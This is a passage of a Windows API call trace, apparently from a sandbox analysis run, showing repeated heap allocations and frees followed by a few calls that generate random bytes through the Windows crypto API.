	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7fe0 | out: hHeap=0x580000) returned 1
	[0030.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8320 | out: hHeap=0x580000) returned 1
	[0030.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8178 | out: hHeap=0x580000) returned 1
	[0030.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8430 | out: hHeap=0x580000) returned 1
	[0030.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b7fe0
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8070
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8100
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8190
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8220
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b82b0
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8340
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b83d0
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8460
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b84f0
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8580
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8610
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b86a0
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8748
	[0030.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b87d8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8868
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b88f8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8988
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8a18
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8aa8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8b38
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8bc8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8c58
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8ce8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8d78
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e08
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e98
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8f28
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8fb8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7fe0 | out: hHeap=0x580000) returned 1
	[0030.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8070 | out: hHeap=0x580000) returned 1
	[0030.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8100 | out: hHeap=0x580000) returned 1
	[0030.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8190 | out: hHeap=0x580000) returned 1
	[0030.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8220 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b82b0 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8340 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8460 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b84f0 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8580 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8610 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b86a0 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8748 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b87d8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8868 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7dc0 | out: hHeap=0x580000) returned 1
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5b7dc0
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5b7fe0
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5b80e8
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b81f8
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7fe0 | out: hHeap=0x580000) returned 1
	[0030.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b8308
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b9168
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b8418
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b81f8 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8308 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b80e8 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8418 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596f48 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6c38 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7dc0 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7d30 | out: hHeap=0x580000) returned 1
	[0030.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ed0 | out: hHeap=0x580000) returned 1
	[0030.615] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.616] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.616] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.616] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.617] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.617] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.673] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.674] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.674] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.674] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.675] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.675] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.675] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.675] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.675] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
